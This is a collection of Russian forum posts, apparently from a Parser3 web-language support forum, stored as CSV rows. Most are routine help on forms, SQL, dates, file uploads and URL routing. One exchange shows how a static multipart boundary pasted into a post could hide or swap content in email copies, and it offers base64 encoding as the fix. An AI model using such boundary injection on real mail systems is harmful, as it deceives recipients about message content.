	<form id=\"addEntryForm\" name=\"addEntryForm\" method=\"POST\" enctype=\"multipart/form-data\" accept-charset=\"UTF-8\">\
		<label><input type=\"checkbox\" name=\"active\" value=\"true\"> Активен</label><br>\
		<select name=\"SID\" required onchange=\"select(this)\">\
			<option disabled>Выберите раздел</option>\
			<option value=\"0\">Верхний уровень</option>\
			^sections.menu{\
				<option value=\"$sections.id\" class=\"SID\">$sections.title</option>\
			}\
		</select>\
		^sections.menu{\
			$heading[^get.getHeadings[$.section_id[$sections.id]]]\
			<select name=\"HID_${sections.id}\" class=\"HID\" id=\"hid_${sections.id}\" required style=\"display:none\" multiple>\
				<option disabled>Выберите рубрику</option>\
				<option value=\"0\">Верхний уровень</option>\
				^heading.menu{\
					<option value=\"$heading.id\">$heading.title</option>\
				}\
			</select>\
		}\
		<input type=\"text\" name=\"position\" placeholder=\"Сортировка\" value=\"100\">\
		<input type=\"text\" name=\"title\" placeholder=\"Заголовок\" required>\
		<input type=\"text\" name=\"link\" placeholder=\"URL адрес\" required>\
		<input type=\"text\" name=\"keywords\" placeholder=\"Ключевые слова\">\
		<textarea name=\"text\" placeholder=\"Текст\" required></textarea>\
		<div id=\"input_files\">\
			<label class=\"fileform\">\
				<span class=\"filebutton\">Выбрать</span>\
				<input type=\"file\" name=\"fileform\" multiple>\
			</label>\
		</div>\
		<input type=\"submit\" name=\"addEntry\" value=\"Опубликовать\">\
	</form>\
</div>\
^if(def $form:title && def $form:link && def $form:text && def $form:addEntry){\
	$rHID[HID_${form:SID}]\
	$imgID[^math:uid64[]]\
	^json:string[$form:fields]\
}\
или так:\
^if(def $form:addEntry){\
	$rHID[HID_${form:SID}]\
	$imgID[^math:uid64[]]\
	^json:string[$form:tables]\
}[/code]"
"81972","Много удобных плюшек, которых так не хватало :)\
Отдельное спасибо за ^hash.sort, перед глазами уже встают скрипты, где мегаизвращения с сортировкой, можно будет покоцать."
"81973","Поэтому вопрос в том, что что-то не работает."
"81975","Если убрать required, то все заработает, но если необходимо required оставить, то как это все сделать рабочим."
"81977","Механизм такой:\
Выбираешь в первом select категорию, ниже появляется multiple select подкатегории, и категория и подкатегория обязательны к заполнению.\
К select подкатегории привязывается id категории и на основе id javascript показывает нужный select."
"81983","А то хрен его знает был ли до скрытия required или нет."
"81984","Никто случаем не занимался сием действием?"
"81985","Вот тут есть с чего подсматривать, но я как-то сходу не могу вникнуть в эти все тонкости."
"81987","Есть два набора переменных: ABCDEFG и 1234567.\
\
Требуется не только выдать первый набор в случайном порядке, что уже задача, но и скомбинировать их при выдаче со вторым набором, также в случайном порядке.\
\
Ну, получить, скажем, E4 G2 B7 C5 A1 D6 F4.\
\
Что-то не соображу. Подскажите ход действий, пожалуйста. Как \"взболтать\" хотя бы один из наборов, не прописывая руками все варианты его комбинаций?"
"81988","только скорее всего вам не нужно это.\
если вы таким способом генерируете какой-нить уникальный идентификатор, то самое время посмотреть на ^math:uid64[] и ^math:uuid[]."
"81989","Хочу получить на странице набор дивов со своим стилем и контентом каждый.  \
\
Представим себе страницу \"русская поэзия\" - и набор тизеров на ней. \"<span>Люблю грозу</span> в начале мая\", \"<span>Ты меня не любишь,</span> не жалеешь\", \"<span>В лесу родилась елочка,</span> в лесу она росла\"... и так далее. Это набор переменных \"А\" в дивах.\
\
Также есть стили - по количеству тизеров. Разные шрифты и размеры, разные оформления span-строк и так далее. Это набор переменных \"Б\"\
\
Красота. И вот я подумал: а чё б не взбалтывать эту страницу при каждой загрузке, чисто для визуальной интересности. Взбалтывать контент и стили, не привязывая одно к другому и, разумеется, используя каждое только по одному разу.\
\
<div class=\"[b]$5[/b]\">[b]$c[/b]</div>\
<div class=\"[b]$2[/b]\">[b]$b[/b]</div>\
итд"
"81990","тогда значения в две таблицы, каждую случайно сортируете, потом проходите по ним одновременно (или с помошью for+offset или с помощью menu по одной, а по другой одновременно offset-ом)\
\
или одна таблица с данными (гроза и всё такое), css-классы в hash. сортируете таблицу случайно, перебираете её элементы (menu) и для каждого элемента дёргаете случайный элемент из хэша (at(random(count)))."
"81992","У меня в некоторых местах встречается такая конструкция:\
\
[code]\
@getEntities[aOptions]\
  $aOptions[^hash::create[$aOptions]]\
  ^sql::table{\
    select * \
      from entities\
    order by ^switch[$aOptions]{\
         ^case[DEFAULT]{id}\
     }\
  }\
[/code]\
\
Сейчас я огребаю ошибку, если в хеше не задано поле sort:\
switch\
is 'junction', it does not have numerical (double) value\
\
Это логично, но не очень удобно, поскольку sort слово частотное. Обойти через hash.contains можно, но совместимость уже поломана. Варианты исправления вижу такие:\
— Переименовать метод в _sort.\
— Сделать в hash.fields доступ только к данным, т.е. положить туда не ссылку на хеш, а объектик, который возвращает значения полей, даже если у нас есть одноименные методы.\
— При обращении к $hash.method_name возвращать не ссылку на функцию, а void, если поля нет. Чтобы получить ссылку на методы обращаемся к $hash._method_name.\
\
Последний варант мне кажется наиболее удачным, но я не знаю насколько эффективно это можно реализовать.\
\
p.s. Вылезло в редкоиспользуемых местах, поскольку у меня почти везде ключ для сортировки называется order. Но наверняка у многих именно sort. Опять же $form:fields.sort навернякак часто встречается."
"81993","[quote]^switch[$aOptions][/quote]\
\
Вероятно хотел написать ^switch[$aOptions.sort]? У тебя точно RC, а не чуть более ранняя версия?\
\
[quote]при обращению к полю ($table.count) методы не возвращаются в принципе. [/quote]\
\
Это было добавлено за пару дней до RC, и по-идее пока у тебя $, а не ^, несовместимости вылезти не должно."
"81995","[quote]$aOptions[^hash::create[$aOptions]][/quote]\
\
Еще подумалось: у нас сейчас только \"empty string is void compatible\".\
Может сделать, чтобы и пробельная строка позволяла обращаться $s.something?\
Тогда подобные конструкции будут не нужны (во всяком случае в методах, не меняющих опции)."
"81997","Только неясно, что будет при попытке записи:\
[code]$s.something[…][/code]\
?"
"81998","То же, что и сейчас \"element can not be stored to string\". У void такое же поведение. Просто в какой-то момент мы разрешили ^hash::create[  ], поэтому логично и такое разрешить: $s[ ^if($condition){ $.key[value] } ] $s.key."
"81999","Разбираюсь тут с отсылкой почты, нашел пару моментов на которые хотелось бы указать пользуясь случаем приближения релиза\
\
\
1. статичный boundary для multipart - спорное решение. \
\
Понятно что шансы случайно встретить в теле письма эту строку стремятся к нулю, с другой стороны, шансы встретить её там специально, особенно после того как я на это указал, могут стремиться в обратном направлении. Можно ручками кодировать multipart в base64, но это скорее workaround.\
\
https://www.ietf.org/rfc/rfc1521.txt\
\
NOTE: Because encapsulation boundaries must not appear in the body parts being encapsulated, a user agent must exercise care to choose a unique boundary.\
\
\
2. hardcoded Errors-To:\
\
опять же спорный заголовок, с ним похожая ситуация как с аппендиксом - одни говорят что это атавизм, другие - что полезен, но в любом случае хотелось бы иметь возможность его вырезать. \
\
https://www.ietf.org/rfc/rfc2076.txt\
\
Errors-To: | Non-standard, discouraged.\
\
Address to which notifications are to be sent and a request to get delivery notifications. Internet standards recommend, however, the use of MAIL FROM and Return-Path, not Errors-To, for where delivery notifications are to be sent."
"82000","[quote]пользуясь случаем приближения релиза[/quote]\
\
Увы, в 3.4.4 мы только критичные баги будем править, если такие найдутся в RC. Так что это в следующую версию...\
\
[quote]1. статичный boundary для multipart - спорное решение. [/quote]\
\
Половина интернета до сих пор живет на статичных (и наверняка спонсированных АНБ :) простых числах из http://osxr.org/openssl/source/crypto/bn/bn_const.c Недавно правда одумались, но пока это разойдется...\
\
Это к тому, что ничего страшного в общем в этом нет. Но нелогично, поскольку при http запросе в качестве boundary используется случайный uuid, сделаем одинаково.\
\
[quote] Errors-To: опять же спорный заголовок, с ним похожая ситуация как с аппендиксом - одни говорят что это атавизм, другие - что полезен, но в любом случае хотелось бы иметь возможность его вырезать. [/quote]\
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/types/pa_vmail.C?r1=1.9&r2=1.10\
mail: errors-to: now default \"postmaster\"\
\
Да, атавизм, добавлен 13 лет назад. Добавлен специально, но, к сожалению, без описания причины обязательности. В переписке тоже концов не нашлось,\
только в документации еще есть, добавил в to-do убрать. По-идее вреда от него быть не должно, поскольку все его игнорируют. :)"
"82001","не критично, но для чего-нибудь такого-эдакого вполне сгодилось бы. \
Например, если бы в этом форуме сообщения на почту приходили бы в multipart, можно было бы сделать такую вот мелкую пакость:\
\
[code]\
[соlor=\"whitе\"]\
\
этот текст белым по белому не будет виден в сообщении форума\
зато это единственное что увидит пользователь, получивший пост как сообщение по почте \
\
[соde]\
\
--boundary--\
\
[/соde]\
\
этот текст не будет виден ни в форуме ни в почтовом сообщении\
\
[/соlor]\
\
этот текст будет виден в форуме, но не виден в почтовом сообщении\
[/code]\
\
\
вобщем, multipart на всякий случай лучше кодировать в base64\
[code]$.html{$html}[/code]\
поменять на\
[code]$.html[\
	$.value{^html.base64[]}\
	$.content-transfer-encoding[base64]\
][/code]\
тогда не сработает"
"82002","Необходимый минимум включает в себя:\
—знание парсера. :)\
—знание HTML, CSS, JavaScript и SQL;\
—представление об XML и XSLT.\
\
Примеры кода (от 30kb, законченность значения не имеет)\
и ссылки на свои работы (сайты) посылать на moko@design.ru.\
\
Note: не упускайте свой шанс. :) Прошлый раз вакансия была в 2011 году."
"82003","Задача: сделать подкатегории выбранными.\
Страница редактирования записи, во все селекты и инпуты вставляем значения из БД, хочу сделать выбранными те подкатегории, которые записаны в БД как выбранные.\
[code]#все подкатегории\
$headings[^get.getHeadings[]]\
#все категории\
$sections[^get.getSections[]]\
#все запсиси\
$entries[^get.getEntries[]]\
#текущая запись\
$entry[^get.getEntries[$.PID[$form:id]]]\
#разбиваем id подкатегорий\
$splitEntry[^entry.HID.split[,;lv;heading]]\
#удостоверяемся, что данная подкатегория существует\
$heading[^get.getHeadings[$.id[^splitEntry.menu{${splitEntry.heading}}[, ]]]]\
<div id=\"editEntry\">\
	<img src=\"$entry.img\" title=\"$entry.title\" alt=\"$entry.title\">\
	<form id=\"editEntryForm\" name=\"editEntryForm\" method=\"POST\" enctype=\"multipart/form-data\" accept-charset=\"UTF-8\">\
		^if($entry.active eq 'true'){\
			<label><input type=\"checkbox\" name=\"active\" value=\"true\" checked> Активен</label><br>\
		}{\
			<label><input type=\"checkbox\" name=\"active\" value=\"true\"> Активен</label><br>\
		}\
		<select name=\"SID\" required onchange=\"select(this)\">\
			<option disabled>Выберите раздел</option>\
			<option value=\"0\">Верхний уровень</option>\
			^sections.menu{\
				^if($entry.PID eq $form:id){\
					<option value=\"$sections.id\" class=\"SID\" selected>$sections.title</option>\
				}{\
					<option value=\"$sections.id\" class=\"SID\">$sections.title</option>\
				}\
			}\
		</select>\
		^sections.menu{\
			<select name=\"HID_${sections.id}\" class=\"HID\" id=\"hid_${sections.id}\" required style=\"display:block\" multiple>\
				<option disabled>Выберите рубрику</option>\
				^if($splitEntry.heading eq 0){\
					<option value=\"0\" selected>Верхний уровень</option>\
\
				}{\
					<option value=\"0\">Верхний уровень</option>\
				}\
				#делаем перебор всех подкатегорий\
				^headings.menu{\
					#если из всех подкатегорий есть те, что присвоены текущей записи, то делаем их выбранными\
					^if($heading.id eq $headings.id){\
						<option value=\"$headings.id\" selected>$headings.title</option>\
					}{\
						<option value=\"$headings.id\">$headings.title</option>\
					}\
				}\
			</select>\
		}\
		<input type=\"text\" name=\"position\" placeholder=\"Сортировка\" value=\"$entry.position\">\
		<input type=\"text\" name=\"title\" placeholder=\"Заголовок\" value=\"$entry.title\" required>\
		<input type=\"text\" name=\"link\" placeholder=\"URL адрес\" value=\"$entry.link\" required>\
		<input type=\"text\" name=\"keywords\" placeholder=\"Ключевые слова\" value=\"$entry.keywords\">\
		<textarea name=\"text\" placeholder=\"Текст\" required>$entry.text</textarea>\
		<input type=\"text\" name=\"img\" placeholder=\"URL картинки\" value=\"$entry.img\">\
		<div id=\"input_files\">\
			<label class=\"fileform\">\
				<span class=\"filebutton\">Выбрать</span>\
				<input type=\"file\" name=\"fileform\" multiple>\
			</label>\
		</div>\
		<input type=\"submit\" name=\"editEntry\" value=\"Опубликовать\">\
	</form>\
</div>[/code]\
\
Проблема в том, что проверка между всеми и присвоенными подкатегориями делается не так, как мне хотелось бы. Не могу увидеть свою ошибку.\
Если выбрана одна подкатегория, то она успешно подсвечивается, если выбраны две или более, то подсвечивается только одна."
"82004","покажите, где и как вы проверяете, что категория выбрана."
"82005","В БД entries есть столбец HID в котором записываются выбранные id категорий через запятую.\
На странице изменения записи не так как хотелось бы подсвечиваются записанные в БД категории, но если мы выберем другие, то они сохранятся, но при дальнейшем редактировании записи, они все равно не будут подсвечиваться.\
[code]#текущая запись\
$entry[^get.getEntries[$.PID[$form:id]]]\
#разбиваем id подкатегорий\
$splitEntry[^entry.HID.split[,;lv;heading]]\
#удостоверяемся, что данная подкатегория существует (или присвоена записи)\
$heading[^get.getHeadings[$.id[^splitEntry.menu{${splitEntry.heading}}[, ]]]]\
\
####\
\
@getHeadings[params]\
^connect[$connect_string]{\
	$result[^table::sql{\
		SELECT\
			id,\
			section_id,\
			active,\
			position,\
			title,\
			url\
		FROM\
			headings\
		WHERE\
			1 = 1\
			^if(def $params.id){AND id IN($params.id)}\
			^if(def $params.section_id){AND section_id IN($params.section_id)}\
			^if(def $params.active){AND active = '$params.active'}\
			^if(def $params.position){AND position = '$params.position'}\
			^if(def $params.title){AND title = '$params.title'}\
			^if(def $params.url){AND url = '$params.url'}\
		ORDER BY\
			position DESC\
	}[\
		^if(def $params.limit){\
			$.limit(^params.limit.int(0))\
		}\
	]]\
}[/code]"
"82006","Слишком много кода приводите, нужна сама суть.\
Вы перебираете $sections, а проверяете $heading.id, где всегда ID первой строки $heading.\
\
Общий принцип: выводя значения для выбора, проверяете их наличие в выбранных и выставляете selected.\
\
В вашем случае, нужно проверять явно что-то из sections.\
[code]<option value=\"$headings.id\"^if(^headings.locate[id;$sections.…]){selected}>$headings.title</option>[/code]"
"82007","Сейчас при работе с датами с подобном формате, например с заголовками в текстовом виде, приходится использовать dtf:from822."
"82008","[code]#текущая запись\
$entry[^get.getEntries[$.PID[$form:id]]]\
#разбивка присвоенных записи подкатегорий\
$splitEntry[^entry.HID.split[,;lv;heading]]\
#делаем перебор столько раз, сколько категорий\
^sections.menu{\
	#получаем подкатегории каждой категории\
	$heading[^get.getHeadings[$.section_id[$sections.id]]]\
	#получаем подкатегории текущей записи\
	$cHeading[^get.getHeadings[\
		$.id[^splitEntry.menu{${splitEntry.heading}}[,]]\
		$.section_id[$sections.id]\
	]]\
	#создаем селекты для категорий с выбором подкатегорий\
	<select name=\"HID_${sections.id}\" class=\"HID\" id=\"hid_${sections.id}\" required style=\"display:none\" multiple>\
		<option disabled>Выберите рубрику</option>\
		^if($splitEntry.heading eq 0){\
			<option value=\"0\" selected>Верхний уровень</option>\
		}{\
			<option value=\"0\">Верхний уровень</option>\
		}\
		#перебираем подкатегории категории на наличие совпадений с подкатегориями записи\
		#и именно в этой части проблема, сравнение идет не правильно, Я дико туплю и не знаю как правильно сравнить, приведенный вами способ не дал результата.\
		^heading.menu{\
			^if($heading.id eq $cHeading.id){\
				<option value=\"$heading.id\" selected>$heading.title</option>\
			}{\
				<option value=\"$heading.id\">$heading.title</option>\
			}\
		}\
	</select>\
}[/code]"
"82010","По мне так для задач такого плана реализация на парсере вполне уместна, да и пишется просто (один матч, один хеш-лукап, один ^date::create[]). И до версии 3.4.4 корректного способа создать дату из формата RFC822 не было (нельзя было создать дату с временной зоной), так что этот метод вероятно требует доработки (по сути надо конвертировать дату в формат  ISO 8601)."
"82011","А по какой причине впятеро вырос размер parser3.cgi под Linux?\
Забыли сделать strip?"
"82012","Но если жалко места, это можно сделать самостоятельно. :)"
"82013","Меня исключительно размер насторожил.\
Strip'а — не жалко."
"82015","[code]		^heading.menu{\
			<option value=\"$heading.id\"^if(^cHeading.locate[id;$heading.id]){ selected}>$heading.title</option>\
		}[/code]"
"82017","Есть код:\
^void:sql{\
            INSERT INTO `credit_product_list` (`c_id`,`product_id`,`credit_period`,`first_deposit`,`interest_rate`,`sum_credit`,`car_price`,`amount_discount`,`documents`,`monthly_payment`,`date_credit_delivery`,`date_credit_finish`,`date_beforehand_payment`,`policy_number`)\
            VALUES ($tClient.id, ^form:product_id.int(0), ^form:creditPeriod.int(0), ^form:firstDeposit.double(0),^form:interestRate.double(0), ^form:sumCredit.int(0),\
                    ^form:carPrice.double(0), ^form:disCount.int(0), ^form:documents.int(0), ^form:sumMonthPay.int(0),\
                    ^if(def $form:dataDelivery){'$form:dataDelivery'}{NULL},^if(def $form:dataFinish){'$form:dataFinish'}{NULL},^if(def $form:dataBeforehand){'$form:dataBeforehand'}{NULL},'^if(def $form:policyNum){$form:policyNum}')\
          }\
\
Есть запрос с данными:\
HTTP method: POST\
Params:\
hash(30): {\
    id: string: \"46972\",\
    add_product: string: \"1\",\
    product_id: string: \"4\",\
    creditPeriod: string: \"36\",\
    firstDeposit: string: \"NaN\",\
    interestRate: string: \"16\",\
    sumCredit: string: \"760 000 \",\
    carPrice: string: \"1518000\",\
    disCount: string: \"\",\
    date_begin: string: \"0\",\
    date_end: string: \"0\",\
    reminder: string: \"0\",\
    prolongation: string: \"0\",\
    reminder_offset: string: \"3\",\
    typeProduct: string: \"1\",\
    documents: string: \"1\",\
    price: string: \"\",\
    sumMonthPay: string: \"27900\",\
    dataDelivery: string: \"\",\
    dataFinish: string: \"\",\
    dataBeforehand: string: \"\",\
    policyNum: string: \"\",\
    insurance_number: string: \"\",\
    insurance_contract_date: string: \"\",\
    payment_type: string: \"0\",\
    insurance_sum: string: \"\",\
    commission_persent_bonus: string: \"\",\
    commission_sum_bonus: string: \"\",\
    insurance_pay: string: \"\",\
    insurance_pay_number: string: \"\"\
}\
\
И есть ошибка:\
Unhandled Exception (sql.execute)\
\
            INSERT INTO `credit_product_list` (`c_id`,`product_id`,`credit_period`,`first_deposit`,`interest_rate`,`sum_credit`,`car_price`,`amount_discount`,`documents`,`monthly_payment`,`date_credit_delivery`,`date_credit_finish`,`date_beforehand_payment`,`policy_number`)\
            VALUES (46972, 4, 36, nan,16, 0,\
                    1518000, 0, 1, 27900,\
                    NULL,NULL,NULL,'')\
          \
\
Unknown column 'nan' in 'field list'\
\
Как?"
"82018","Вообще у double в C++ есть два официальных строковых значения:\
\
[code]$s[NaN]\
^s.double[]\
$s[INF]\
^s.double[]\
[/code]\
\
Но вот возвращать NaN при ^Nan.double(0) понятно неправильно. Что касается остальных случаев, можно тут обсудить..."
"82019","Добрый день.\
Через парсерный класс JSHttpRequest можно получить различные данные, включая файлы, но возникает проблема, когда надо получить много файлов из одного поля (input type=\"file\" multiple=\"true\").\
Часть кода от разработчиков класа JS:\
[code]	<script src=\"JsHttpRequest.js\"></script>\
	<script type=\"text/javascript\" language=\"JavaScript\">\
		function doLoad(value) {\
			var req = new JsHttpRequest();\
			req.open(null, 'file_get.html', true);\
			req.send(value);\
		}\
	</script>\
\
	<form method=\"post\" id=\"f\" enctype=\"multipart/form-data\" onsubmit=\"return false\">\
			File: <input type=\"file\" name=\"upl\" multiple=\"true\">\
			<input type=\"button\" value=\"Calculate MD5\" \
			 onclick=\"doLoad(document.getElementById('f'))\">\
	</form>[/code]\
Обработка парсерным классом JSHttpRequest:\
[code]	^use[JSHttpRequest.p]\
	$oJSHttpRequest[^JSHttpRequest:decodeRequest[]]\
	^json:string[$oJSHttpRequest]\
	^JSHttpRequest:printResponse[Отладочное сообщение;$RESULT][/code]\
\
В консоли браузера вижу, что отправляются:\
upl 1\
upl 2\
\
Ответ:\
{\
\"JsHttpRequest\":\"14474064015568-form\",\
\"upl\":{\
\"class\":\"file\",\
\"name\":\"1.txt\",\
\"size\":1,\
\"mode\":\"binary\",\
\"content-type\":\"application\\/octet-stream\"\
}\
}\
<script type=\"text/javascript\" language=\"JavaScript\"><!--\
top && top.JsHttpRequestGlobal && top.JsHttpRequestGlobal.dataReady(\
{ 'id':'14474064015568', 'js':null, 'text':'Отладочное сообщение' } )//--></script>\
\
$form:files содержит только один файл.\
\
[b]Каким образом можно получить все файлы, пришедшие из одного поля?[/b]"
"82020","Проверил, в вашем случае в $form:files 2 файла.\
Попробуйте ^json:string[$form:files], чтобы убедиться в этом.\
У меня получилось вот так:\
[code]{\
\"upl\":{\
\"0\":{\
\"class\":\"file\",\
\"name\":\"1.png\",\
\"size\":71540,\
\"mode\":\"binary\",\
\"content-type\":\"application\\/octet-stream\"\
},\
\"1\":{\
\"class\":\"file\",\
\"name\":\"2.png\",\
\"size\":222803,\
\"mode\":\"binary\",\
\"content-type\":\"application\\/octet-stream\"\
}\
}\
}[/code]"
"82021","Проверил, пришли оба.\
Не знал, что внутри $form:files файлы объединяются в хеш, поэтому метод ^form:files._count[] выдавал 1.\
\
Спасибо."
"82022","При большом количестве поисков может быть небыстро, плюс есть побочный эффект в виде смещения поиском указателя таблицы, что может быть нежелательно при последующем её переборе.\
\
В итоге лучше привести таблицу к хешу и искать по нему.\
[code]$_cHeading[^cHeading.hash[id]]\
…\
^heading.menu{\
	<option value=\"$heading.id\"^if($_cHeading.[$heading.id]){ selected}>$heading.title</option>\
}[/code]"
"82023","То есть это баг парсера и повлиять на ситуацию не получится?"
"82024","Неясно как вы получили nan после ^form:firstDeposit.double(0).\
\
[code]$s[NaN]\
^s.double(0)\
\
# 0[/code]"
"82025","Меня это тоже удивляет. Локально у себя повторить не могу.\
Но ошибка с сервера периодически приходит"
"82026","Это оно в Windows 0. А на Unix это допустимые значения. :( Из man strtod\
\
[quote]An infinity is either \"INF\" or \"INFINITY\", disregarding case.\
\
A NAN is \"NAN\" (disregarding case) optionally followed by a string, (n-char-sequence), where n-char-sequence specifies in an  implementation-dependent  way  the  type  of  NAN  (see NOTES).[/quote]"
"82028","Так это будет исправлено или нет?"
"82030","Да, поддержки зоны не было и тот же dtf просто смещал дату, обнаружив зону.\
\
Что ж, буду пользоваться имеющимися методами, доработав до поддержки зон."
"82031","[quote]тот же dtf просто смещал дату, обнаружив зону.[/quote]\
\
На всякий случай поясню, что ^dt.roll[TZ] не изменяет дату (результат ^dt.gmt-string[] не изменится), а меняет часовой пояс, в котором выводится дата. Поэтому в dft считается разница и добавляется:\
\
[code]^dt.roll[TZ;$sTZ]\
$iDiff(^date::create($dt.year;$dt.month;$dt.day;$dt.hour;$dt.minute;$dt.second) - $result)\
$result[^date::create($dt - $iDiff)]\
[/code]\
\
Но время очень нелогично. :) Отнять три часа и прибавить три часа - совсем не одно и тоже, поскольку бывают переводы часов (в примере перевод 2010-03-28 2:00 на час вперед), в такие моменты dft ошибался (ниже код для Linux, в отличии от Windows он хранит историю переводов времени). Так что к лучшему, что эти переводы отменили. :)\
\
[code]$n[^date::create[2010-03-28 3:30]]\
правильно: ^n.sql-string[] (^n.gmt-string[])\
$d[^dtf:from822[^n.gmt-string[]]]\
неправильно: ^d.sql-string[][/code]\
\
Результат:\
правильно: 2010-03-28 03:30:00 (Sat, 27 Mar 2010 23:30:00 GMT)\
неправильно: 2010-03-28 01:30:00\
\
(в 23:30 часы еще не переведены и одна разница с GMT, а на самом деле в 3:30 они уже переведены и другая разница с GMT)."
"82032","Но отсутствие создания даты из RFC822 при наличии ^date.gmt-string[] несколько нелогично."
"82033","Ранее уже спрашивал про Front Controller\
Теперь знаний побольше, делаю обработку $request:uri\
Ниже привожу несколько способов которые попробовал и все они работают не так как положено, либо выдают Страница не найдена, либо на любой URI true\
\
В этом примере выдает на любой адрес true, допустим /foo/bar/none которого не существует\
[code]@path[params]\
$path[^params.url.split[/;lh]]\
$s[^get.getSections[]]\
$_s[^s.hash[url]]\
$h[^get.getHeadings[]]\
$_h[^h.hash[url]]\
$e[^get.getEntries[]]\
$_e[^e.hash[link]]\
$g[^get.getGoods[]]\
$_g[^g.hash[link]]\
^switch(true){\
	^case(def $_s.[$path.1] && def $_h.[$path.2] && def $_e.[$path.3]){\
		$response[true]\
	}\
	^case(def $_s.[$path.1] && def $_h.[$path.2] && def $_g.[$path.3]){\
		$response[true]\
	}\
	^case(def $_s.[$path.1] && def $_e.[$path.2]){\
		$response[true]\
	}\
	^case(def $_s.[$path.1] && def $_g.[$path.2]){\
		$response[true]\
	}\
	^case(def $_s.[$path.1] && def $_h.[$path.2]){\
		$response[true]\
	}\
	^case(def $_s.[$path.1]){\
		$response[true]\
	}\
	^case($request:uri eq '/'){\
		$response[true]\
	}\
	^case[DEFAULT]{\
		$response[false]\
	}\
}[/code]\
\
\
В этой попытке у меня везде false, точнее Страница не найдена \
[code]@path[params]\
$path[^params.url.split[/;lh]]\
$s[^get.getSections[]]\
$_s[^s.hash[url]]\
$h[^get.getHeadings[]]\
$_h[^h.hash[url]]\
$e[^get.getEntries[]]\
$_e[^e.hash[link]]\
$g[^get.getGoods[]]\
$_g[^g.hash[link]]\
^if($_s.[$path.1]){\
	$response[true]\
	^if($_h.[$path.2]){\
		$response[true]\
		^if($_e.[$path.3]){\
			$response[true]\
		}{\
			^if($_g.[$path.3]){\
				$response[true]\
			}{\
				$response[false]\
			}\
		}\
	}{\
		^if($_e.[$path.2]){\
			$response[true]\
			^if($_g.[$path.2]){\
				$response[true]\
			}{\
				$response[false]\
			}\
		}{\
			$response[false]\
		}\
	}\
}{\
	$response[false]\
}[/code]\
\
В этой попытке дальше /foo не идет, пишет false, точнее страница не найдена\
[code]@path[params]\
^if(def $params.url){\
	$section[^get.getSections[\
		$.url[$params.url]\
	]]\
	^if(def $section){$response[true]}{$response[false]}\
	^if(def $section && def $params.uri){\
		$heading[^get.getHeadings[\
			$.section_id($section.id)\
			$.url[$params.uri]\
		]]\
		^if(def $section && def $heading){$response[true]}{$response[false]}\
		^if(def $heading && def $params.pid){\
			$entry[^get.getEntries[\
				$.SID($section.id)\
				$.HID($heading.id)\
				$.link[$params.pid]\
			]]\
			^if(def $section && def $heading && def $entry){\
				$response[true]\
			}{\
				$goody[^get.getGoods[\
					$.SID($section.id)\
					$.HID($heading.id)\
					$.link[$params.pid]\
				]]\
				^if(def $section && def $heading && def $goody){$response[true]}{$response[false]}\
			}\
		}{\
			$entry[^get.getEntries[\
				$.SID($section.id)\
				$.link[$params.uri]\
			]]\
			^if(def $section && def $entry){\
				$response[true]\
			}{\
				$goody[^get.getGoods[\
					$.SID($section.id)\
					$.link[$params.uri]\
				]]\
				^if(def $section && def $goody){$response[true]}{$response[false]}\
			}\
		}\
	}\
}[/code]\
\
Это вообще нерабочий кошмар\
[code]@path_rules[link]\
$parts[^link.uri.split[/;lh]]\
^if($parts){\
	$s[^get.getSections[\
		$.url[$parts.1]\
	]]\
	$h[^get.getHeadings[\
		$.section_id($s.id)\
		$.url[$parts.2]\
	]]\
	$e[^get.getEntries[\
		$.SID($s.id)\
		$.HID($h.id)\
		$.link[^if($parts.3){${parts.3}}($parts.2){${parts.2}}{}]\
	]]\
	$g[^get.getGoods[\
		$.SID($s.id)\
		$.HID($h.id)\
		$.link[^if($parts.3){${parts.3}}($parts.2){${parts.2}}{}]\
	]]\
	^if(def $s && def $h && def $e){\
		$response[true]\
	}(def $s && def $h && def $g){\
		$response[true]\
	}(def $s && def $h){\
		$response[true]\
	}(def $s){\
		$response[true]\
	}{$response[false]}\
}[/code]\
\
Вот обработка самой страницы\
[code]@page_rules[]\
^path[\
	$.url[$form:url]\
	$.uri[$form:uri]\
	$.pid[$form:pid]\
]\
^switch(true){\
	^case($get.auth.gID == 1 && $request:uri eq \"/admin${address.1}\"){\
		^admin.page[]\
	}\
	^case($get.auth.gID != 1 && $request:uri eq \"/admin${address.1}\"){\
		^error_404.page[]\
	}\
	^case[DEFAULT]{\
		^if($request:uri eq '/'){\
			^deafult.page[]\
		}($response eq 'true'){\
			^deafult.page[]\
		}{\
			^error_404.page[]\
		}\
	}\
}[/code]"
"82034","Вот так работает, только не поддерживаются /foo/bar/entry?foo=bar\
А хотелось бы поддерживать utm метки.\
[code]@path[params]\
$section[^get.getSections[\
	$.url[$params.url]\
]]\
^if($section){\
	$heading[^get.getHeadings[\
		$.section_id[$section.id]\
		$.url[$params.uri]\
	]]\
	^if($heading){\
		$entry[^get.getEntries[\
			$.SID($section.id)\
			$.HID($heading.id)\
			$.link[$params.pid]\
		]]\
		$goody[^get.getGoods[\
			$.SID($section.id)\
			$.HID($heading.id)\
			$.link[$params.pid]\
		]]\
	}{\
		$entry[^get.getEntries[\
			$.SID($section.id)\
			$.HID(0)\
			$.link[$params.pid]\
		]]\
		$goody[^get.getGoods[\
			$.SID($section.id)\
			$.HID(0)\
			$.link[$params.pid]\
		]]\
	}\
}\
^switch(true){\
	^case($request:uri eq '/${section.url}/${heading.url}/${entry.link}'){\
		$response[true]\
	}\
	^case($request:uri eq '/${section.url}/${heading.url}/${goody.link}'){\
		$response[true]\
	}\
	^case($request:uri eq '/${section.url}/${heading.url}'){\
		$response[true]\
	}\
	^case($request:uri eq '/${section.url}/${goody.link}'){\
		$response[true]\
	}\
	^case($request:uri eq '/${section.url}/${entry.link}'){\
		$response[true]\
	}\
	^case($request:uri eq '/${section.url}'){\
		$response[true]\
	}\
	^case[DEFAULT]{\
		^if($request:uri eq '/'){\
			$response[true]\
		}{\
			$response[false]\
		}\
	}\
}[/code]"
"82035","Сейчас в вашем коде с большим трудом можно увидеть часть реализации шаблона [url=http://martinfowler.com/eaaCatalog/frontController.html]Front Controller[/url]. Поясните что вы хотите сделать. Где у вас сам котролер, где команды, какова структура приложения?\
\
Сейчас логика выглядит вывернутой: из базы достается куча данных с использованием uri (методы объекта get), по ним составляются образцы урлов, которые снова сравниваются с uri. Очень похоже на двойную работу.\
\
Вроде логичнее было бы вырезать из урла имя команды и параметры регулярными выражениями и передать их в обработчик (команду), которая уже достанет из базы данные и сформирует ответ."
"82036","У меня пока очень небольшой набор получается:\
\
— Package Control для пакетов\
\
— All Autocomplete для автодополнения.\
